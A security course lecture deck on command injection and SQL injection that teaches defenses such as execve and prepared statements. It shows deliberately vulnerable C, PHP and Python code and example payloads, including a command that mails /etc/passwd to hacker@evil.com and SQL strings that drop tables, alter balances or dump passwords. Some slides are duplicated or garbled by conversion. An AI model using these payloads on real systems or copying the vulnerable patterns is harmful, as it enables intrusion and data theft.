Command Injection

C is awesome because it defers problems to runtime, at which point people might not be able to find me
Administrivia...

- Homework 3: Due Friday, February 26
- Project 2 design doc draft: Due Friday, March 12
- Optional Lab 1: Due Friday, March 19
- Midterm: Friday, March 5
  - Covers up through the end of cryptography
- Midterm review discussions next week, schedule TBD
Switching Gears: Web Security

- We've discussed classic C memory vulnerabilities...
- We've discussed cryptography
  - A way of formally protecting communication channels
- Now its on to the ugly world of web application security
  - Old days: Applications ran on computers or mainframes
  - Today: Applications run in a split architecture between the web browser and web server
- Starting: Command and SQL Injection Attacks: Focusing on the server logic
- Later: Same origin, xss, csrf attacks: Focusing on the interaction between the server and the client
Consider a Silly Web Application...

- It is a **cgi-bin** program
  - A program that is invoked with arguments in the URL after the ?
- In this case, it is look up the user in phonebook...

```c
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
    system(cmd);
}
```
• Instead of http://harmless.com/phonebook.cgi?regex=Alice.*Smith
• How about http://harmless.com/phonebook.cgi?regex=foo%20x; %20mail%20-s%20hacker@evil.com%20</etc/passwd;%20touch
• Command becomes: "grep foo x; mail -s hacker@evil.com </etc/passwd; touch phonebook.txt"
  %20 is an escaped space in a URL, the web server turns it into " " characters before going to the program

/* print any employees whose name * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
    system(cmd);
}
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
<tr>
<td>Rank</td>
<td>Score</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-------</td>
<td>-------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
How To Fix Command Injection?

```c
snprintf(cmd, sizeof(cmd),
    "grep %s phonebook.txt", regex);
```

- One general approach: *input sanitization*
  - Look for anything nasty in the input …
  - … and “defang” it / remove it / escape it

- Seems simple enough, but:
  - Tricky to get right
  - Brittle: if you get it wrong & miss something, you **LOSE**
    - Attack slips past!
  - Approach in general is a form of “default allow”
    - i.e., input is by default okay, only known problems are removed
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);
```

Simple idea: quote the data to enforce that it’s indeed interpreted as data ...

⇒ `grep 'foo x; mail -s hacker@evil.com </etc/passwd; rm' phonebook.txt`

Argument is back to being data; a single (large/messy) pattern to grep

Problems?
How To Fix Command Injection?

snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);
...regex=foo' x; mail -s hacker@evil.com </etc/passwd; touch'

Whoops, control information again, not data

This turns into an empty string, so sh sees command as just "touch"

⇒ grep 'foo' x; mail -s hacker@evil.com </etc/passwd; touch' phonebook.txt

Maybe we can add some special-casing and patch things up ... but hard to be confident we have it fully correct!
Issues With Input Sanitization

- In theory, can prevent injection attacks by properly sanitizing input
  - Remove inputs with meta-characters
    - (can have “collateral damage” for benign inputs)
  - Or escape any meta-characters (including escape characters!)
    - Requires a complete model of how input subsequently processed
      - E.g. …regex=foo%27 x; mail ...

- But it is easy to get wrong!
- Better: avoid using a feature-rich API (if possible)
  - KISS + defensive programming
The Root Problem: \texttt{system}

- This is the core problem.
- \texttt{system()} provides too much functionality!
- It treats arguments passed to it \textbf{as full shell command}
- If instead we could just run grep directly, no opportunity for attacker to sneak in other shell commands!

```c
/* print any employees whose name * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
    system(cmd);
}
```
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = null;
    envp[0] = null;
    if ( execve(path, argv, envp) < 0 )
        command_failed(.....);
}
/* print any employees whose name  
* matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10];/* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path;/* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = null;
    envp[0] = null;
    if (execve(path, argv, envp) < 0)
        command_failed(...);
}
All Languages Should (and Most Do) Have Such Features...

- EG, python has unsafe (\texttt{os.system}) and safe (\texttt{os.execv}) and safe but more powerful (\texttt{subprocess})
- But really, if you invoke \texttt{os.system()}, the environment should shoot the programmer for incompetence!
- Go \textbf{only} has the safe version!
  - in "\texttt{os/exec}"
- The mark of a better language is that it doesn't offer two ways to do the same thing (one unsafe), but only one safe way.
  - "If your system has two ways of doing something, one of which is subtly wrong, >51\% will chose the wrong version"
Anonymous speaks: the inside story of the HB Gary hack

By Peter Bright | Last updated a day ago

The hbgaryfederal.com CMS was susceptible to a kind of attack called SQL injection. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web frontend to the CMS.

It has been an embarrassing week for security firm HB Gary and its HB Gary Federal offshoot. HB Gary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HB Gary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned
From the looks of it, however, one our suspects an SQL injection, in which the Web site. Markovich also questions not noticed the hack for six months, a
Command Injection in the Real World

Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors’ machines.

Update, April 29, 11:28 a.m. ET: In a post to one of its blogs, Microsoft says this attack was not the fault of a flaw in IIS: "..our investigation has shown that there are no new or unknown vulnerabilities being exploited. The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application's database. To protect against SQL injection attacks the
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
Structure of Modern Web Services

URL / Form
command.php?arg1=x&arg2=y

Browser
Web server
Structure of Modern Web Services

Browser

URL / Form
command.php?arg1=x&arg2=y

Web server

Database query built from x and y

Database server
Structure of Modern Web Services

- **Browser**
- **Web server**
  - Custom data corresponding to x & y
  - **Database server**
Structure of Modern Web Services

Web page built using custom data

Web server

Browser

Database server
Structure of Modern Web Services

Program In Browser
Interprets & Renders
Data

Web server

Database server
Databases

• Structured collection of data
• Often storing tuples/rows of related values
• Organized in tables

<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>fry</td>
<td>7746533.71</td>
</tr>
<tr>
<td>0501</td>
<td>zoidberg</td>
<td>0.12</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Databases

- Management of groups (tuples) of related values
- Widely used by web services to track per-user information
- Database runs as separate process to which web server connects
  - Web server sends queries or commands parameterized by incoming HTTP request
  - Database server returns associated values
  - Database server can also modify/update values

<table>
<thead>
<tr>
<th>Customer</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>AcctNum</td>
<td>Username</td>
<td>Balance</td>
</tr>
<tr>
<td>1199</td>
<td>fry</td>
<td>7746533.71</td>
</tr>
<tr>
<td>0501</td>
<td>zoidberg</td>
<td>0.12</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
SQL

- Widely used database query language
  - (Pronounced “ess-cue-ell” or “sequel”)
- Fetch a set of records:
  - `SELECT field FROM table WHERE condition`
    - returns the value(s) of the given field in the specified table, for all records where condition is true.
- E.g:
  - `SELECT Balance FROM Customer WHERE Username='zoidberg'` will return the value 0.12
SQL, con’t

- Can add data to the table (or modify):
  - `INSERT INTO Customer
    VALUES (8477, 'oski', 10.00) -- pay the bear`

Strings are enclosed in single quotes; some implementations also support double quotes.

An SQL comment

<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>fry</td>
<td>7746533.71</td>
</tr>
<tr>
<td>0501</td>
<td>zoidberg</td>
<td>0.12</td>
</tr>
<tr>
<td>8477</td>
<td>oski</td>
<td>10.00</td>
</tr>
</tbody>
</table>
SQL, con’t

- Can add data to the table (or modify):
  - `INSERT INTO Customer
    VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos`

- Or delete entire tables:
  - `DROP Customer`

- Semicolons separate commands:
  - `INSERT INTO Customer VALUES (4433, 'vladimir', 888.99);
    SELECT AcctNum FROM Customer WHERE Username='vladimir';`
  - returns 4433.
Database Interactions

1. post form or parameterized URL

2. SQL query derived from user values

3. return data
Web Server SQL Queries

- Suppose web server runs the following PHP code:
  
  ```php
  $recipient = $_POST['recipient'];
  $sql = "SELECT AcctNum FROM Customer
    WHERE Balance < 100 AND
    Username='$recipient'";
  $result = $db->executeQuery($sql);
  
  The query returns recipient's account number if their balance is < 100

  - Web server will send value of $sql variable to database server to get account #s from database

  - So for "?recipient=Bob" the SQL query is:
    1. SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='Bob'
The Parse Tree for this SQL

```
SELECT AcctNum FROM Customer
WHERE Balance < 100 AND Username='Bob'
```
SQL Injection

• Suppose web server runs the following PHP code:

```php
$recipient = $_POST['recipient'];
$sql = "SELECT AcctNum FROM Customer
    WHERE Balance < 100 AND
    Username='$recipient' ";
$result = $db->executeQuery($sql);
```

• How can `$recipient` cause trouble here?

• How can we see anyone’s account?
  • Even if their balance is >= 100
Basic picture: SQL Injection

How can $recipient cause trouble here?
SQL Injection Scenario, con’t

- WHERE Balance < 100 AND
  Username='$recipient'

- Conceptual idea (doesn’t quite work): Set recipient to
  “foo' OR 1=1”

- WHERE Balance < 100 AND
  Username='foo' OR 1=1'

- Precedence makes this:

- WHERE (Balance < 100 AND
  Username='foo') OR 1=1

- Always true!
SELECT AcctNum FROM Customer
WHERE (Balance < 100 AND Username='foo') OR 1=1
SQL Injection Scenario, con’t

• Why “foo' OR 1=1” doesn’t quite work:
  • WHERE Balance < 100 AND
    Username='foo' OR 1=1'
  • Syntax error, unmatched '
• So lets add a comment!
  • "foo' OR 1=1--"

• Server now sees
  • WHERE Balance < 100 AND
    Username='foo' OR 1=1 --'

• Could also do "foo' OR ''='"
  • So you can't count on -- as indicators of "badness"
SQL Injection Scenario, con’t

- WHERE Balance < 100 AND Username='$recipient'

- How about $recipient = foo'; DROP TABLE Customer; -- ?

- Now there are two separate SQL commands, thanks to ‘;’ command-separator.

- Can change database however you wish!
SQL Injection Scenario, con’t

• WHERE Balance < 100 AND Username='\$recipient'

• $recipient = ‘foo’; SELECT * FROM Customer; --
  • Returns the entire database!

• $recipient = ‘foo’; UPDATE Customer SET Balance=99999999 WHERE AcctNum=1234; --
  • Changes balance for Acct # 1234! MONEYMONEYMONEY!!!
SQL Injection: Exploits of a Mom

Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way -

DID YOU REALLY NAME YOUR SON Robert'); DROP TABLE Students;-- ?

Oh, yes. Little Bobby tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.
SQL Injection: Summary

- **Target**: web server that uses a back-end database
- **Attacker goal**: inject or modify database commands to either read or alter web-site information
- **Attacker tools**: ability to send requests to web server (e.g., via an ordinary browser)
- **Key trick**: web server allows characters in attacker’s input to be interpreted as SQL control elements rather than simply as data
Blind SQL Injection

- A variant on SQL injection with less feedback
  - Only get a True/False error back, or no feedback at all

- Makes attacks a bit more annoying
  - But it doesn't fundamentally change the problem

- And of course people have automated this!
  - http://sqlmap.org/
Demo Tools

- **Squigler**
  - Cool “localhost” web site(s) (Python/SQLite)
  - Developed by Arel Cordero, Ph.D.
  - I’ll put a copy on the class page in case you’d like to play with it

- Allows you to run SQL injection attacks *for real* on a web server you control
  - Basically a ToyTwitter type application
## Some Squigler Database Tables

<table>
<thead>
<tr>
<th>username</th>
<th>body</th>
<th>time</th>
</tr>
</thead>
<tbody>
<tr>
<td>ethan</td>
<td><em>My first squig!</em></td>
<td>2017-02-01 21:51:52</td>
</tr>
<tr>
<td>cathy</td>
<td><em>@ethan: borrr-ing!</em></td>
<td>2017-02-01 21:52:06</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
def post_squig(user, squig):
    if not user or not squig: return
    conn = sqlite3.connect(DBFN)
    c    = conn.cursor()
    c.executesscript("INSERT INTO squigs VALUES
                      ('%s', '%s', datetime('now'));' %
                      (user, squig))
    conn.commit()
    c.close()
Another Interesting Database Table...

<table>
<thead>
<tr>
<th>Accounts</th>
</tr>
</thead>
<tbody>
<tr>
<td>username</td>
</tr>
<tr>
<td>dilbert</td>
</tr>
<tr>
<td>alice</td>
</tr>
<tr>
<td>…</td>
</tr>
</tbody>
</table>
What Happens Now?

```
INSERT INTO squigs VALUES
  (dilbert, ' ' || (select (username || ' ' || password) from accounts where username='bob') || ' ',
   date);
```
OOPS!!!! :)
SQL Injection Prevention?

• (Perhaps) Sanitize user input: check or enforce that value/string that does not have commands of any sort
  • Disallow special characters, or
  • Escape input string
• SELECT PersonID  FROM People WHERE Username='alice\';
  • Risky because it's easy to overlook a corner-case in terms of what to disallow or escape
• But: can be part of defense-in-depth...
  • Except that IMO you will fail if you try this approach
Escaping Input

- The input string should be interpreted as a string and not as including any special characters
- To escape potential SQL characters, add backslashes in front of special characters in user input, such as quotes or backslashes
  - This is just like how C works as well:
    For a " in a string, you put \"
- Rules vary, but common ones:
  - \' -> '
  - \" -> \
  - etc...
Examples

• Against what string do we compare Username (after SQL parsing), and when does it flag a syntax error?

  
  ```
  [..] WHERE Username='alice';  alice
  [..] WHERE Username='alice\';  Syntax error, quote not closed
  [..] WHERE Username='alice"';  alice'
  [..] WHERE Username='alice\"';  alice
  ```

  because \ gets converted to \ by the parser
SQL Injection: Better Defenses

- Idea: Let's take execve's ideas and apply them to SQL...
  - ResultSet getProfile(Connection conn, String arg_user)
    {
      String query = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username = ?";
      PreparedStatement p = conn.prepareStatement(query);
      p.setString(1, arg_user);
      return p.executeQuery();
    }
  - This is a "prepared statement"

  - Untrusted user input
  - Confines Input to a Single Value
  - Binds the input to the value
Parse Tree for a Prepared Statement

Note: prepared statement only allows ?’s at leaves, not internal nodes. So structure of tree is fixed.
So What Happens To Bobby Tables?

```
SELECT / FROM / WHERE

AcctNum AND Customer

< Balance

= 100 Username

robert'; drop ta..
```
Parsing Bobby Tables...

```
SELECT / FROM / WHERE

AcctNum
Customer

AND

<
Balance
100

= 
Username

robert'; drop ta..
```

This will never be true (assuming no bizarre Usernames!), so no database records will be returned. And it will work correctly, too, if the student actually is little bobby tables!
Biggest Problem With Prepared Statements: IT ISN'T IN SQL!

- Instead, it is part of the communication protocol for specific databases
  - EG, for MySQL you can only use the "binary" connection
  - Different databases (Postgres, MySQL, Oracle) use different syntax
  - So you need a library that also includes an appropriate translator to do the preparation for the particular database you are using
There are mistakes you will make...
And those you must NEVER make...

- If you are stuck with a large C/C++ code base...
  - You WILL have memory errors, and I'll laugh
- If you **start** a new project in C or C++
  - My spirit will rip out your soul through the monitor...
- And if you create **anything** with an SQL or command injection vulnerability...
  - My spirit will rip out your soul through the monitor...
  - and then tap-dance on your grave!
- Use this as a canary when you get to modify an existing project...
  - Is there `system()`? Is there unstructured SQL?
  - IF so, task 1 needs to be rewriting **all of those calls**